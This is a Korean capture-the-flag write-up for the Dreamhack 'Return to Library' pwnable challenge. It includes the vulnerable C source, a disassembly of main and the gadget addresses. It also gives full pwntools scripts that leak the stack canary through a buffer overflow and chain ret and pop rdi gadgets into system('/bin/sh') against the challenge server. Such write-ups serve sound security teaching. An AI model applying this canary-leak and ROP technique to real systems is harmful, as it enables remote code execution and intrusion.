War Game/Pwnable

[Dreamhack] Return to Libraray

GunP4ng 2024. 7. 21. 23:29

Return to Library 문제 풀이


1. 취약점 확인

1. C 언어

checksec 명령어로 취약점을 확인해보자

[*] '/home/gunp4ng/pwnable/Dreamhack/rtl/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

x64 아키텍처에 Partial RELRO, Nx-bit, Stack Canary 가 적용된 것을 알 수 있다.

 

C 코드를 확인해보자

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

"/bin/sh" 이 코드에 있기 때문에 code 영역에 "/bin/sh" 이 추가된다.

system 함수를 PLT 에 추가하는 코드가 있다.

 

buf 의 크기는 0x30 이지만 read 함수로 0x100 만큼을 입력받기 때문에 BOF 가 발생한다.

 

2. 어셈블리

main 함수의 어셈블리를 확인해보자

Dump of assembler code for function main:
   0x00000000004006f7 <+0>:     push   rbp
   0x00000000004006f8 <+1>:     mov    rbp,rsp
   0x00000000004006fb <+4>:     sub    rsp,0x40
   0x00000000004006ff <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:    xor    eax,eax
   0x000000000040070e <+23>:    mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:    mov    ecx,0x0
   0x000000000040071a <+35>:    mov    edx,0x2
   0x000000000040071f <+40>:    mov    esi,0x0
   0x0000000000400724 <+45>:    mov    rdi,rax
   0x0000000000400727 <+48>:    call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:    mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:    mov    ecx,0x0
   0x0000000000400738 <+65>:    mov    edx,0x2
   0x000000000040073d <+70>:    mov    esi,0x0
   0x0000000000400742 <+75>:    mov    rdi,rax
   0x0000000000400745 <+78>:    call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:    mov    edi,0x40087c
   0x000000000040074f <+88>:    mov    eax,0x0
   0x0000000000400754 <+93>:    call   0x4005d0 <system@plt>
   0x0000000000400759 <+98>:    mov    edi,0x40088d
   0x000000000040075e <+103>:   call   0x4005b0 <puts@plt>
   0x0000000000400763 <+108>:   mov    edi,0x40089d
   0x0000000000400768 <+113>:   mov    eax,0x0
   0x000000000040076d <+118>:   call   0x4005e0 <printf@plt>
   0x0000000000400772 <+123>:   lea    rax,[rbp-0x40]
   0x0000000000400776 <+127>:   mov    edx,0x100
   0x000000000040077b <+132>:   mov    rsi,rax
   0x000000000040077e <+135>:   mov    edi,0x0
   0x0000000000400783 <+140>:   call   0x4005f0 <read@plt>
   0x0000000000400788 <+145>:   lea    rax,[rbp-0x40]
   0x000000000040078c <+149>:   mov    rsi,rax
   0x000000000040078f <+152>:   mov    edi,0x4008a3
   0x0000000000400794 <+157>:   mov    eax,0x0
   0x0000000000400799 <+162>:   call   0x4005e0 <printf@plt>
   0x000000000040079e <+167>:   mov    edi,0x4008ac
   0x00000000004007a3 <+172>:   call   0x4005b0 <puts@plt>
   0x00000000004007a8 <+177>:   mov    edi,0x40089d
   0x00000000004007ad <+182>:   mov    eax,0x0
   0x00000000004007b2 <+187>:   call   0x4005e0 <printf@plt>
   0x00000000004007b7 <+192>:   lea    rax,[rbp-0x40]
   0x00000000004007bb <+196>:   mov    edx,0x100
   0x00000000004007c0 <+201>:   mov    rsi,rax
   0x00000000004007c3 <+204>:   mov    edi,0x0
   0x00000000004007c8 <+209>:   call   0x4005f0 <read@plt>
   0x00000000004007cd <+214>:   mov    eax,0x0
   0x00000000004007d2 <+219>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d6 <+223>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004007df <+232>:   je     0x4007e6 <main+239>
   0x00000000004007e1 <+234>:   call   0x4005c0 <__stack_chk_fail@plt>
   0x00000000004007e6 <+239>:   leave
   0x00000000004007e7 <+240>:   ret
End of assembler dump.
  • buf : rbp-0x40

buf 의 크기는 0x40 이다.

하지만 카나리가 포함된 크기이기 때문에 실제 buf 의 크기는 카나리를 제외한 0x38 이다.

 

system

system 함수의 주소는 0x4005d0 이다.

 

pop rdi

pop rdi 가젯의 주소는 0x400853 이다.

 

main 함수에 break 걸고 search 명령어로 "/bin/sh" 의 주소를 구할 수 있다.

/bin/sh

"/bin/sh" 의 주소는 0x400874 이다.

 

 

2. 익스플로잇 구성

1. 스택 프레임 구조

스택 구조

0x40 은 카나리를 포함한 값이므로 8bytes 를 뺀 0x38 이 실제 buf 크기이다.

 

첫 번째 read 함수로 카나리를 leak 한다. 

두 번째 read 함수에서 SFP 까지 덮어씌운다. 

RET 에 pop rdi 가젯을 넣고, 그 다음 "/bin/sh" 문자열, system 함수 주소를 넣으면

system("/bin/sh") 이 호출될 것이다.

페이로드 구성

익스플로잇 된 스택 상태는 위와 같다.

 

2. 카나리 릭

첫 번째  read 부분에서 buf 와 canary 의 첫번째 NULL byte 를 덮어씌운다.

buf 는 0x38 이기 때문에 0x39 만큼 입력하면 카나리값이 출력된다.

 

python 의 pwntools 로 코드를 작성한 뒤 카나리를 출력해보자

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

p = remote('host3.dreamhack.games', 20587)

# canary leak
p.recvline('Buf: ')
dummy = b'A' * 0x39
print(dummy)
p.send(dummy)
p.recvuntil(dummy)
canary_leak = b'\x00' + p.recvn(7)

canary = u64(canary_leak)
print('canray : {}'.format(hex(canary)))

 

canary leak

카나리 값이 잘 출력된 것을 확인할 수 있다.

 

3. 페이로드 구성

buf + canry + SFP 까지 dummy 값으로 덮어씌운다.

RET 에 pop rdi 가젯을 넣고, "/bin/sh" 의 주소도 넣는다

마지막으로 system 을 넣으면 system("/bin/sh") 이 호출될 것이다.

 

pop rdi 가젯을 넣기 전 스택을 정렬해주기 위해 ret 가젯을 추가한다.

ret 가젯

ret 가젯의 주소는 0x400596 이다.

 

ret 가젯까지 추가한 스택 상태는 아래와 같다

스택 상태

 

python 으로 pwntools 코드를 작성한다.

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

#p = process('./rtl')
p = remote('host3.dreamhack.games', 10346)

# canary leak
p.recvline('Buf: ')
dummy = b'A' * 0x39
print(dummy)
p.send(dummy)
p.recvuntil(dummy)
canary_leak = b'\x00' + p.recvn(7)

canary = u64(canary_leak)
print('canray : {}'.format(hex(canary)))

ret = 0x400596
pop_rdi = 0x400853
binsh = 0x400874
system = 0x4005d0

# payload
payload = b'A' * 0x38
payload += p64(canary)
payload += b'A' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

### pause ###
# pause()

p.recvuntil('Buf: ')
p.send(payload)

p.interactive()

 

플래그 획득

코드를 실행하면 플래그를 획득할 수 있다.